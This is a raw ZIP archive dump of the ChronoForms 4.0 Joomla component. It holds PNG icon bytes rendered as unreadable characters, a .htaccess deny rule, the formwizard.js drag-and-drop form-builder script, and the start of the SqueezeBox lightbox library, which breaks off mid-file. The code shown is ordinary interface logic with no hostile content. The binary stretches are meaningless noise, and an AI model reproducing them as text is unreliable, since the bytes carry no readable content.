>$Q9 5&85UުЦCWÑ\)hׇo>-Vrdh$&Q!`X먒zhR{u*;B@?Nߖe8ϸS(yLkH5 U{ş=B,)G\VuPa{[M%jx~-`!,a7}(eeĂy.]@*.H,wĊ="IK٥IENDB`PKs>\ł  !com_chronoforms/images/backup.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTExooR1 qYHEEqHONzޯB(_K4#fZXbΜ@}uJmNq;ϟެBĻ A@ Ilml:e@barp̮}1Ek0peYta. qf:)Ў |3/8-Ei>Ba:۬jNR 9daϭJ`c谄ЖH"{ogk ?^[ B:"0݉K7O-# 49j'&rQD" +o)e]QHpHa s&BB|@pX/&WpIԇ!_mL&C/  a( VǙOaPvM=s׏lbHELUDF-h;MƅLDˀNF#0Ud=0:JLUSױ'bمnĂsRHT)r2&2;2_h|iIENDB`PKs>\ %com_chronoforms/images/extensions.pngnuW+APNG  IHDR szz IDATxyl\G?=|ɮC]riThRҤMoj!$@␨** P(QAi^{kf㹥QJ FZ=͓}? ѱ)a7,smS=ǝwi=#T+)`D;V]vyWc3Cؽ~N\ss~#fgq xukK5ɭ-=4-VTq pja$=Ï? wwկ=4s|bBt2j]7RÃSv$~\Jerse KzOy5|ΥO^-&>T,ϼ{[Lu=v6 >@@l&A0-Aw<8< <ǹiz7әrL` Jhp P& 8ph`A.XC͹D"0iioKm_b[qlֽr]Пm㎫YS95c\~֤ zj+r8ufSTYmiFT'#LC`4(#.^8P?W.W+W!ޡ tv6Fv'~i芃Ҽ~cWz>s۞jiraah|0V/+:t(ܶb&]ݼ884<R-uGsP`D, @IA `Ҹ,4KY_βo<\c3M>.a7:{O?{)5B45(Ni@aA/I&g59l20]V7y70DLb?~AK)eJALRW+S3' U](r)W+<''iL~$J$;=6[c36óm@ܺ[vɟvjr( ]H4? (ՙ),Sq2^`,g{\1Z1 j%¹) bC̆DG,tY?7qjݙƵن@^?T/ʑ#4O+`}_JrR_l&",RairjQۜ9[fg rxKӠfKC'1+!0maVᓁ\H $com_chronoforms/images/transform.pngnuW+APNG  IHDR szzbKGD pHYsnu>tIME)N DIDATxڭk]Wu{=>;g<3#8+NI"TQDJ-_CT (jc<}9{~8qI֗k I/;ӟNj#N,1;GG՚5y*gS.5sۀ|]}[KfLݜ CO o.6vi" k2S3k vґ _٭Wr#E>x!O-_тTa%ZB& I q\}US0ӀƟQѽZ!{*Y(9 P`ACT裯DzTxOvnk}hlEb*N 7;:ߕw>1q^A%ǒ(eh{ ϤTֆ ߝ\%~:,K3+֛5x~K$}rA\=_پ0ЊB" cE3H '(e!;ۛ+}pϞFK[cg[>VTy=ޝU \^t _I>(Dil)ۆ䇥'0C}=ݙ|&ZZJ__aXJ4ÇGG_?/綇 S9ЧeLe57GRWf v0"&%%VuٿgSI|@ EBQF1ҷ12m3T>Wz>8vOTF#é[˛XR08ơ6Ss(qmj| Ɓ8ЄqD+ZP`@A@^kxggOgNwo꣯V.[ӊ"Q؄J#Q.ӕI` h^'¯V+MG:I2H{. %8$<{ !WKԙIH֘\g4|s\ (QDEDhz-/`PAƩZ,.eeX=FjZ@!ߛ l6%1,ֹRXaR$6XEF_6ϷPxg:;JKXY%E|o[1҂JC%&#ο/6khB(֫1KVS~z9LJ4x|@*!w&]8F D;HF\ +Y`?;;SJA)5B bm@*D,.Uo61f-ߗA`^H"EJ{'O,hE!+h-RXf'(0wHt~4 FJc;qms,<ƄFsU4>5Z0Fk6X+bcbEn }Md.;}(*ilҶ ;;H RA5B)9OfυNf%uuSz\Ʊ,j&I/!>{' յ_7}+.9 or\[/NXxׁ~h@oOGn0%nj6`#K7X:S?b}+j·K٬O>)66fBB ҀH!,Z5~s;7LϟKGzAFFƑ6 %p<\&=\wfrco_~ <}7Li~1@JeKΞ/pŊ~(tF/m>4)%JkV.+9鉕oE'm\H]1Qtw[' Fkٍ\֏%0vӔV8"Hf6 ֫^VqmiUA*i5IENDB`PKs>\!com_chronoforms/images/index.htmlnuW+APKs>\) com_chronoforms/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\3ve%com_chronoforms/images/fullscreen.pngnuW+APNG  IHDR(-SgAMA7tEXtSoftwareAdobe ImageReadyqe<2PLTErךhG~9XfDGFGs,:Cz8~>p(GY4Jfd|69w4{3B^E\3~7qS}6o&QCR4YEv2|3t-H`VM~=G{9X?t.6[B}3w3HFz9fdGDz0F|5BC`<>]BU~8p&H}5Aw39=}=YQ}4C:|2ftRNS5IDATxbPHHF0h9w"?;i .ϖ&e#"+吤Ȑ `k531sr0[9hDT J PiPB2 htZqaS? DԴx NK1f yN_›Y=R}!#62:JypIENDB`PKs>\jP com_chronoforms/js/formwizard.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * license Commercial * the JS code in this file is not licensed under the GPL license and you should get a written permission from webmaster@chronoengine.com to be able use it outside the Chronoforms package! * Visit http://www.ChronoEngine.com for regular updates and information. **/ //vars for the drag box position var drag_position = null; var drag_position_y = 0; window.addEvent('scroll', function() { //get window scroll var window_scroll = window.getScroll(); //get the drag box position for 1 time only if(drag_position == null){ drag_position = $('drag_box').getPosition(); drag_position_y = drag_position.y; } //do the magic if(window_scroll.y > drag_position_y){ $('drag_box').setStyles({'position': 'fixed', 'top' : 0}); }else{ $('drag_box').setStyles({'position': 'relative'}); } }); //main wizard logic window.addEvent('domready', function() { //EASY MODE CODE if(EASY_MODE == true){ containers.each(function(container){ $('easy_div_'+container).getElements('div[id^=cfaction_]').each(function(action){ //add edit event action.addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(action)); //delet events action.getElements('div[id^=cfactionevent_]').each(function(cfactionevent){ cfactionevent.destroy(); }); if(action.getElement('.action_label') != null){ action.getElement('.action_label').set('html', action.getElement('.action_label').get('html') + ' (Click to configure)'); } //add clear div var clear = new Element('div', {'html' : '
       
      '}); action.adopt(clear.getFirst().clone()); }); }); } //END EASY MODE //elements accordion var elementsAccordion = new Accordion($('elements_accordion'), 'a.element_toggler', 'div.elements_accordion_pane', { opacity: false, show: 0, alwaysHide: false }); //actions accordion var actionsAccordion = new Accordion($('actions_accordion'), 'a.action_toggler', 'div.actions_accordion_pane', { opacity: false, show: 0, alwaysHide: false }); //add clear div for all config items exist in page var clear = new Element('div', {'html' : '
       
      '}); $$('.element_config_item').each(function(element){ element.adopt(clear.getFirst().clone()); }); $$('.validation_rule').each(function(element){ element.adopt(clear.getFirst().clone()); }); $$('.wizard_element').each(function(wizard_element){ if(wizard_element.hasClass('input_container_element_view') == false){ wizard_element.adopt(clear.getFirst().clone()); } }); if(EASY_MODE == false){ //tie few tabs together $('actions-panel-tab').addEvent('click', function(event){ switchTab('events'); }); $('elements-panel-tab').addEvent('click', function(event){ switchTab('preview'); }); $('events-panel-tab').addEvent('click', function(event){ switchTab('actions'); }); $('preview-panel-tab').addEvent('click', function(event){ switchTab('elements'); }); } //IE is crap, a fix for the ondragstart event so that sortables may work fine document.ondragstart = function(){ return false; }; var droppable_container_temp = []; //manage old fields events var old_containers = []; $('droppable_area_elements').getElements('div[class*=wizard_element]').each(function(wizard_element){ var element_tools = $$('div.element_tools')[0].clone(true, true); var field_id = wizard_element.getElement('input[id^=chronofield_id]').get('value'); var element_tools = element_tools.set({'class' : 'element_tools_visible', 'html': element_tools.get('html').replace(/{n}/g, field_id)}); element_tools.inject(wizard_element.getFirst(), 'before'); //add events to the element div wizard_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); wizard_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event wizard_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(wizard_element)); //add edit event wizard_element.getElement('.edit_element').addEvent('click', function(event){ if($('field_settings') == null){ var settings = new Element('div', {'id' : 'field_settings', 'class' : 'settings elements_accordion_pane'}); settings.inject($('field_settings_hidden')); } showFieldSettings(this, $('field_settings')); }.bindWithEvent(wizard_element)); //add sort event wizard_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(wizard_element)); //var sortable_elements = new Sortables($('droppable_area_elements'), {clone:true, opacity:0.4, handle: '.sort_element'}); //if this was a container then make it a droppable if(wizard_element.hasClass('input_container_element_view')){ initializeElementsDroppables([wizard_element]); //var sortable_elements = new Sortables(wizard_element, {clone:true, opacity:0.4, handle: '.sort_element'}); //console.log(wizard_element); if(old_containers.contains(wizard_element) == false){ old_containers.include(wizard_element); } } }); //fix old conatiners sortables old_containers.each(function(old_container){ var sortable_container_elements = new Sortables(old_container, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_container_elements.removeItems($$('.element_tools_visible')); }) //make old elements sortable var sortable_elements = new Sortables($('droppable_area_elements'), {clone:true, opacity:0.4, handle: '.sort_element'}); //manage old actions events var old_events = []; $('droppable_area_actions').getElements('div[class*=wizard_element]').each(function(wizard_element){ var field_id = wizard_element.getChildren('input[id^=chronoaction_id]')[0].get('value'); var element_tools = $$('div.element_tools')[0].clone(true, true); var element_tools = element_tools.set({'class' : 'element_tools_visible', 'id': 'element_tools_'+field_id, 'html': element_tools.get('html').replace(/{n}/g, field_id)}); wizard_element.getFirst().set('html', wizard_element.getFirst().get('html')+" ("+field_id+")"); element_tools.inject(wizard_element.getFirst(), 'before'); //add events to the element div wizard_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); wizard_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event wizard_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); //clearFieldSettings($('action_settings')); event.stopPropagation(); }.bindWithEvent(wizard_element)); //add edit event wizard_element.getElement('.edit_element').addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(wizard_element)); //add sort event wizard_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(wizard_element)); //insert action event map idetifiers var last_identifier_name = wizard_element.getParent('.form_event').getElement('input[name^=_form_actions_events_map]').get('name'); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+wizard_element.get('id').replace(/_element_/, '_')+']'}).inject(wizard_element, 'top'); //check if action has any events and add the identifiers to them if so if(wizard_element.getElements('div.form_event').length > 0){ wizard_element.getElements('div.form_event').each(function(wizard_element_event){ //var event_name = wizard_element_event.get('id').replace(wizard_element.get('id').replace(/_element_/, '_').replace(/cfaction_/, 'cfactionevent_')+'_', ''); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+wizard_element.get('id').replace(/_element_/, '_')+'][events]['+wizard_element_event.get('id')+']'}).inject(wizard_element_event, 'top'); }) //also make them valid droppables initializeActionsDroppables(wizard_element.getElements('div.form_event')); } if(old_events.contains(wizard_element.getParent('.form_event')) == false){ old_events.include(wizard_element.getParent('.form_event')); } }); //make old actions sortable old_events.each(function(event_div){ var sortable_actions = new Sortables(event_div, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_actions.removeItems(event_div.getChildren('label')); }); initializeElementsDroppables([$('droppable_area_elements')]); //actions //initializeActionsDroppables([$('FormOnLoadEvent'), $('FormOnSubmitEvent')]); initializeActionsDroppables($('droppable_area_actions').getElements('.main_event')); var form_save_event = function(){ $('sbox-content').getElement('.form_save_button').addEvent('click', function(){ $('ChronoformName').set({'value' : $('sbox-content').getElement('.chronoform_name').get('value')}); submitform('ccms_adminform', 'wizard', 0, 0, 0, 0); }); } SqueezeBox.initialize(); SqueezeBox.assign($('wizard_save'), { size: {x: 200, y: 200}, url: '#form_save_box', onOpen: form_save_event }); }); var droppable_container_temp = []; function initializeElementsDroppables(droppables){ var element_count = $('max_field_index').get('value').toInt(); $('elements_accordion').getElements('.dragable').makeGhostDraggable({ droppables: droppables,//[$('droppable_area_elements')],//'.droppable', opacity: 1, onStart:function(element){ droppable_container_temp.empty(); }, onEnter:function(element, droppable){ droppable_container_temp.include(droppable); }, onLeave:function(element, droppable){ droppable_container_temp.erase(droppable); }, onDrop: function(element, droppable) { if (droppable) { var element_count = $('max_field_index').get('value').toInt(); //create the element div to be insterted in the view pane var real_element_id = element.get('id')+'_element'; var real_element = $(real_element_id).clone(true, true).set({'class':element.get('id')+'_element_view wizard_element preview_element', 'id':real_element_id+'_'+element_count}); //insert tools var element_tools = $$('div.element_tools')[0].clone(true, true).set({'class' : 'element_tools_visible'}); element_tools.inject(real_element); //end tools injection //add clear div var clear = new Element('div', {'html' : '
       
      '}); real_element.adopt(clear.getFirst().clone()); // real_element.set({'html': real_element.get('html').replace(/{n}/g, element_count)}); //add events to the element div real_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); real_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event real_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.delete_element').floatingTips(); //add edit event real_element.getElement('.edit_element').addEvent('click', function(event){ if($('field_settings') == null){ var settings = new Element('div', {'id' : 'field_settings', 'class' : 'settings elements_accordion_pane'}); settings.inject($('field_settings_hidden')); } showFieldSettings(this, $('field_settings')); }.bindWithEvent(real_element)); real_element.getElement('.edit_element').floatingTips(); //add sort event real_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.sort_element').floatingTips(); //check which droppable will be used //console.log(droppable_container_temp); if(droppable_container_temp.length > 0){ droppable = droppable_container_temp[droppable_container_temp.length - 1]; real_element.inject(droppable); droppable_container_temp.empty(); } if(droppable.hasClass('input_container_element_view')){ var container_id = droppable.get('id').replace(/input_container_element_/, ''); if($("container_id_"+element_count) != null){ $("container_id_"+element_count).set('value', container_id); } } //reset sorting var sortable_elements = new Sortables(droppable, {clone:true, opacity:0.4, handle: '.sort_element'}); sortable_elements.removeItems($$('.element_tools_visible')); element_count = element_count + 1; //update element count $('max_field_index').set('value', element_count); //if this was a container then make it a droppable if(element.get('id') == 'input_container'){ initializeElementsDroppables([real_element]); } } } }); } function clearFieldSettings(){ $('field_settings').empty(); $('action_settings').setStyle('display', 'none'); $('field_settings').setStyle('display', 'none'); } var droppable_container_temp = []; //var events_actions_map = {'MYFORM': {}}; function initializeActionsDroppables(droppables){ var action_count = $('max_action_index').get('value').toInt(); $('actions_accordion').getElements('.dragable').makeGhostDraggable({ droppables: droppables,//[$('droppable_area_actions')], //stopPropagation: true, onStart:function(element){ droppable_container_temp.empty(); }, onEnter:function(element, droppable){ droppable_container_temp.include(droppable); }, onLeave:function(element, droppable){ droppable_container_temp.erase(droppable); }, onDrop: function(element, droppable, event){ if(droppable){ var action_count = $('max_action_index').get('value').toInt(); //create the element div to be insterted in the view pane var real_element_id = element.get('id')+'_element'; var real_element = $(real_element_id).clone(true, true).set({'class':element.get('id')+'_element_view wizard_element form_action', 'id':real_element_id+'_'+action_count}); //insert tools var element_tools = $$('div.element_tools')[0].clone(true, true).set({'class' : 'element_tools_visible'}); real_element.getFirst().set('html', real_element.getFirst().get('html')+" ("+action_count+")"); element_tools.inject(real_element); //end tools injection //add clear div var clear = new Element('div', {'html' : '
       
      '}); real_element.adopt(clear.getFirst().clone()); real_element.set({'html': real_element.get('html').replace(/{n}/g, action_count)}); //add events to the element div real_element.addEvent('mouseover', function(){this.addClass('element_div_hover')}); real_element.addEvent('mouseout', function(){this.removeClass('element_div_hover')}); //add tools events //add delete event real_element.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); //clearFieldSettings($('action_settings')); event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.delete_element').floatingTips(); //add edit event real_element.getElement('.edit_element').addEvent('click', function(event){ if($('action_settings') == null){ var settings = new Element('div', {'id' : 'action_settings', 'class' : 'settings actions_accordion_pane'}); settings.inject($('action_settings_hidden')); } showFieldSettings(this, $('action_settings')); }.bindWithEvent(real_element)); real_element.getElement('.edit_element').floatingTips(); //add sort event real_element.getElement('.sort_element').addEvent('click', function(event){ event.stopPropagation(); }.bindWithEvent(real_element)); real_element.getElement('.sort_element').floatingTips(); //check where to drop the element var injected = false; if(droppable_container_temp.length > 0){ droppable = droppable_container_temp[droppable_container_temp.length - 1]; //insert actions/events identifier(s) var last_identifier_name = droppable.getElement('input[name^=_form_actions_events_map]').get('name'); new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+element.get('id')+'_'+action_count+']'}).inject(real_element, 'top'); //check if the action has any events and insert the identifiers real_element.getElements('div.form_event').each(function(form_event){ new Element('input', {'type': 'hidden', 'name': last_identifier_name+'[actions]['+element.get('id')+'_'+action_count+'][events]['+form_event.get('id')+']'}).inject(form_event, 'top'); }) //finally inject the element real_element.inject(droppable); injected = true; droppable_container_temp.empty(); //update the actions counter only after the new action is injected action_count = action_count + 1; //update action count $('max_action_index').set('value', action_count); }else{ //real_element.inject(droppable); } //check for events in the new action if(real_element.getElements('div.form_event').length > 0){ initializeActionsDroppables(real_element.getElements('div.form_event')); } //reset sorting if(injected){ var sortable_actions = new Sortables(droppable, { clone:true, opacity:0.4, handle: '.sort_element', onStart: function(element, clone){ if($chk(element.getElement('.mceEditor'))){ var id = element.getElement('.mceEditor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceRemoveControl", false, id); } } } ); sortable_actions.removeItems(droppable.getChildren('label')); } //actions counter removed } } }); } function showFieldSettings(container_div, settings){ //if(settings.retrieve('settings_for') != container_div.get('id')){ var field_type = container_div.get('id').replace(/_element_[0-9]*/, ''); var fcountre = new RegExp(field_type+'_element_'); var field_count = container_div.get('id').replace(fcountre, ''); settings.empty(); //inject the settings area var ElementSettingsClone = $(field_type+'_element_config').clone(true, true).setStyle('display', 'block').set({'html': $(field_type+'_element_config').get('html').replace(/{n}/g, field_count)}); ElementSettingsClone.inject(settings); //if settings has a tabs box then initialize it if(ElementSettingsClone.getElements('.tabs_box').length > 0){ //ApplyTabEventsToContainer(ElementSettingsClone.getElements('.tabs_box')[0]); } settings.getElements('[name$=config]').each(function(config){ var target_config_element = container_div.getElement('[id='+config.get('name').replace(/_config/, '')+']'); if(config.get('rule') == 'bool'){ if(target_config_element.get('value').toInt() == 1){ config.set({'checked' : 'checked'}); }else{ //do nothing config.erase('checked'); } }else if(config.get('rule') == 'split'){ var splitter = new RegExp(config.get('splitter')); var selections = target_config_element.get('value').split(splitter); if(config.get('tag') == 'select'){ config.getChildren('option').each(function(option){ if(selections.contains(option.get('value'))){ option.set({'selected' : 'selected'}); }else{ option.erase('selected'); } }); }else{ if(selections.contains(config.get('value'))){ config.set({'checked' : 'checked'}); }else{ //do nothing config.erase('checked'); } } }else{ config.set({'value' : target_config_element.get('value')}); } }); settings.store('settings_for', container_div.get('id')); //fix some stuff if($chk(settings.getElement('.loadingimg_div'))){ settings.getElement('.loadingimg_div').setStyle('display', 'none'); } settings.setStyle('display', 'block'); var parentsize = settings.getSize(); var childsize = settings.getFirst('.element_config').getSize(); if(parentsize.y < childsize.y){ settings.setStyle('height', childsize.y); }else{ settings.setStyle('height', childsize.y); } //load the squeeze box and insert the buttons if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').destroy(); } //load the element's onload function if exists var fn_name = field_type+'_onload'; if(typeof window[fn_name] == 'function'){ window[fn_name](field_count); } //open in squeeze box SqueezeBox.initialize(); SqueezeBox.open(settings, { handler: 'adopt', size: {x: 600, y: 500}, onOpen: function(content){ //var applyButton = content.getNext().clone(true, true).set({'id': 'sbox-btn-apply', 'text' : 'Apply'}); var applyButton = new Element('a').set({'id': 'sbox-btn-apply', 'text' : 'Apply'}); applyButton.addEvent('click', function(e){ deactivateEditor(content); saveFieldSettings(container_div, settings); //activateEditor(content); return false; }); applyButton.inject(content, 'after'); }, onClose: function(content){ deactivateEditor(content); if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').destroy(); } } }); //} } function saveFieldSettings(container_div, settings){ var field_type = container_div.get('id').replace(/_element_[0-9]*/, ''); var fcountre = new RegExp(field_type+'_element_'); var field_count = container_div.get('id').replace(fcountre, ''); settings.getElements('[name$=config]').each(function(config){ var target_config_element = container_div.getElement('[id='+config.get('name').replace(/_config/, '')+']'); if(config.get('rule') == 'bool'){ if(config.get('checked')){ target_config_element.set({'value' : '1'}); }else{ target_config_element.set({'value' : '0'}); } }else if(config.get('rule') == 'split'){ var splitter_escaped = escape(config.getProperty('splitter')); var new_splitter_escaped = splitter_escaped.replace('%5Cn', '%0A'); var new_splitter = unescape(new_splitter_escaped); target_config_element.set({'value' : ''}); var config_group = new Array(); //$('field_settings').getElements('[name='+config.get('name')+']').each(function(config_group_item){ settings.getElements('[name='+config.get('name')+']').each(function(config_group_item){ if(config.get('tag') == 'select'){ config.getChildren('option').each(function(option){ if(option.get('selected') == true){ config_group.include(option.get('value')); }else{ } }); }else{ if(config_group_item.get('checked')){ config_group.include(config_group_item.get('value')); }else{ } } }); target_config_element.set({'value' : config_group.join(new_splitter)}); }else{ target_config_element.set({'value' : config.get('value')}); } //reflect options if(config.get('operation') == 'multi_option'){ //fields changes if(container_div.getChildren('.options_refelctor')[0] != null){ if(config.get('operation_fieldtype') == 'select'){ container_div.getChildren('.options_refelctor')[0].empty(); config.get('value').split("\n").each(function(option){ var option_details = option.split('='); if(option_details.length > 1){ new Element('option', {'value': option_details[0], 'text': option_details[1]}).inject(container_div.getChildren('.options_refelctor')[0]); } }); }else{ container_div.getChildren('.options_refelctor')[0].empty(); var field_id = container_div.getElement('[id='+field_type+'_'+field_count+'_input_id]').get('value'); config.get('value').split("\n").each(function(option){ var option_details = option.split('='); if(option_details.length > 1){ new Element('input', {'id': field_id+option_details[0], 'type': config.get('operation_fieldtype')}).inject(container_div.getChildren('.options_refelctor')[0]); new Element('label', {'for': field_id+option_details[0], 'text': option_details[1]}).inject(container_div.getChildren('.options_refelctor')[0]); } }); } } } //reflect label change if(container_div.getFirst('label.updatable_label') != null){ if(settings.getElements('[name$=label_text_config]')[0] != null){ container_div.getFirst('label.updatable_label').set('text', settings.getElements('[name$=label_text_config]')[0].get('value')); } } //add on change event for config fields to enable the apply button if($chk($('sbox-btn-apply'))){ if(config.get('type') == 'checkbox' || config.get('type') == 'radio' || config.get('tag') == 'select'){ config.addEvent('change', function(){ activateSaveButton(); }); config.addEvent('click', function(){ activateSaveButton(); }); }else{ config.addEvent('keydown', function(){ activateSaveButton(); }); } } }); //settings.getElement('input[id$=save_settings_button]').set({'disabled' : true, 'value' : 'Saved'}); if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').set('text', 'Saved'); $('sbox-btn-apply').setStyle('opacity', 0.7); } } function deactivateEditor(content){ if($chk(content.getElement('.mceEditor'))){ var id = content.getElement('.mceEditor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceRemoveControl", false, id); } } function activateEditor(content){ if($chk(content.getElement('.text_editor'))){ var id = content.getElement('.text_editor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceAddControl", false, id); } } function activateSaveButton(){ $('sbox-btn-apply').set('text', 'Apply'); $('sbox-btn-apply').setStyle('opacity', 1); } function ShowAddEventDialogue(){ var event_box = $('add_event_box').clone(true, true).setStyle('display', 'block'); event_box.getElement('input[name=add_event_button]').addEvent('click', function(event){ addNewEvent(); }); event_box.set('id', 'add_event_box_new'); event_box.inject($('add_event_box'), 'after'); SqueezeBox.initialize(); SqueezeBox.open($('add_event_box_new'), { handler: 'adopt', size: {x: 500, y: 170} }); /*var event_box = $('add_event_box').clone(true, true).setStyle('display', 'block'); event_box.getElement('input[name=add_event_button]').addEvent('click', function(event){ addNewEvent(); });*/ //event_box.inject($('sbox-content')); } function addNewEvent(){ var new_event = new Element('div', {'id' : 'FormOn'+$('sbox-content').getElement('input[name=event_name]').get('value')+'Event', 'class' : 'form_event main_event good_event'}); var new_event_label = new Element('label', {'text' : 'On '+$('sbox-content').getElement('input[name=event_name]').get('value'), 'class': 'form_event_label'}); new_event_label.inject(new_event); var new_event_hidden = new Element('input', {'type' : 'hidden', 'name' : '_form_actions_events_map[myform][events]['+$('sbox-content').getElement('input[name=event_name]').get('value')+']', 'value' : ''}); new_event_hidden.inject(new_event); //add the new event delete icon var delete_icon = $$('img.delete_element')[0].clone().setStyles({'float' : 'right', 'position' : 'absolute', 'top' : '7px', 'right' : '10px'}); delete_icon.inject(new_event); new_event.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(new_event)); new_event.getElement('.delete_element').floatingTips(); //inject the new event box into wizard body new_event.inject($('EventsOperations'), 'before'); initializeActionsDroppables([new_event]); SqueezeBox.close(); } window.addEvent('domready', function(){ //configure old events delete icons $$('.main_event').each(function(main_event){ if(main_event.getElement('.delete_element') != null){ main_event.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(main_event)); main_event.getElement('.delete_element').floatingTips(); } }); }); function openSaveBox(SqueezeBox){ SqueezeBox.initialize(); SqueezeBox.open($('form_save_box'), { handler: 'adopt', size: {x: 300, y: 200} }); } function switch_fullscreen(){ if($('element-box').hasClass('fullscreen')){ $('element-box').removeClass('fullscreen'); $('element-box').addClass('normalscreen'); $('top-strap').setStyle('display', 'none'); $('fullscreen').set('src', 'components/com_chronoforms/images/fullscreen.png'); var total_size = $('element-box').getSize(); $("drop_box").setStyle('width', total_size.x - 300); morph_width_change(); }else{ $('element-box').removeClass('normalscreen'); $('element-box').addClass('fullscreen'); $('top-strap').setStyle('display', 'block'); $('fullscreen').set('src', 'components/com_chronoforms/images/normalscreen.png'); morph_width_change(); } } window.addEvent('domready', function(){ morph_width_change(); }); window.addEvent('resize', function(){ morph_width_change(); }); function morph_width_change(){ var total_size = $('element-box').getSize(); var width = total_size.x; $("drag_box").morph({'width' : 250}); $("drop_box").morph({'width' : (width - (250 + 50))}); } function collapseContainer(ID, reverse){ var collapsed = $("input_container_"+ID+"_collapsed").get('value'); if(reverse == true){ collapsed = collapsed.toInt(); collapsed = 1 - collapsed; //console.log(collapsed); } if(collapsed == 1){ //$("input_container_element_"+ID).setStyle('min-height', 100); $("input_container_element_"+ID).setStyle('height', 'auto'); //$("input_container_element_"+ID).morph({'height' : 'auto'}); $("input_container_element_"+ID).getChildren('div[class*=wizard_element]').each(function(wizard_element){ wizard_element.setStyle('display', 'block'); }); $("input_container_"+ID+"_collapsed").set('value', 0); $("input_container_collapse_toggler_"+ID).set('text', "Collapse"); }else{ $("input_container_element_"+ID).setStyle('min-height', 5); $("input_container_element_"+ID).getChildren('div[class*=wizard_element]').each(function(wizard_element){ wizard_element.setStyle('display', 'none'); }); $("input_container_element_"+ID).setStyle('height', 5); $("input_container_"+ID+"_collapsed").set('value', 1); $("input_container_collapse_toggler_"+ID).set('text', "Expand"); } return false; } //set the containers states window.addEvent('domready', function(){ $('droppable_area_elements').getElements('.input_container_element_view').each(function(container){ var container_id = container.get('id').replace(/input_container_element_/, ''); collapseContainer(container_id, true); }); });PKs>\-9s33 com_chronoforms/js/SqueezeBox.jsnuW+A/** * SqueezeBox - Expandable Lightbox * * Allows to open various content as modal, * centered and animated box. * * Dependencies: MooTools 1.2 * * Inspired by * ... Lokesh Dhakar - The original Lightbox v2 * * @version 1.1 rc4 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var SqueezeBox = { presets: { onOpen: $empty, onClose: $empty, onUpdate: $empty, onResize: $empty, onMove: $empty, onShow: $empty, onHide: $empty, size: {x: 600, y: 450}, sizeLoading: {x: 200, y: 150}, marginInner: {x: 20, y: 20}, marginImage: {x: 50, y: 75}, handler: false, target: null, closable: true, closeBtn: true, zIndex: 65555, overlayOpacity: 0.7, classWindow: '', classOverlay: '', overlayFx: {}, resizeFx: {}, contentFx: {}, parse: false, // 'rel' parseSecure: false, shadow: true, document: null, ajaxOptions: {} }, initialize: function(presets) { if (this.options) return this; this.presets = $merge(this.presets, presets); this.doc = this.presets.document || document; this.options = {}; this.setOptions(this.presets).build(); this.bound = { window: this.reposition.bind(this, [null]), scroll: this.checkTarget.bind(this), close: this.close.bind(this), key: this.onKey.bind(this) }; this.isOpen = this.isLoading = false; return this; }, build: function() { this.overlay = new Element('div', { id: 'sbox-overlay', styles: {display: 'none', zIndex: this.options.zIndex} }); this.win = new Element('div', { id: 'sbox-window', styles: {display: 'none', zIndex: this.options.zIndex + 2} }); if (this.options.shadow) { if (Browser.Engine.webkit420) { this.win.setStyle('-webkit-box-shadow', '0 0 10px rgba(0, 0, 0, 0.7)'); } else if (!Browser.Engine.trident4) { var shadow = new Element('div', {'class': 'sbox-bg-wrap'}).inject(this.win); var relay = function(e) { this.overlay.fireEvent('click', [e]); }.bind(this); ['n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw'].each(function(dir) { new Element('div', {'class': 'sbox-bg sbox-bg-' + dir}).inject(shadow).addEvent('click', relay); }); } } this.content = new Element('div', {id: 'sbox-content'}).inject(this.win); //this.closeBtn = new Element('a', {id: 'sbox-btn-close', href: '#'}).inject(this.win);//hack below this.closeBtn = new Element('span', {id: 'sbox-btn-close', style: 'cursor:pointer'}).inject(this.win); this.fx = { overlay: new 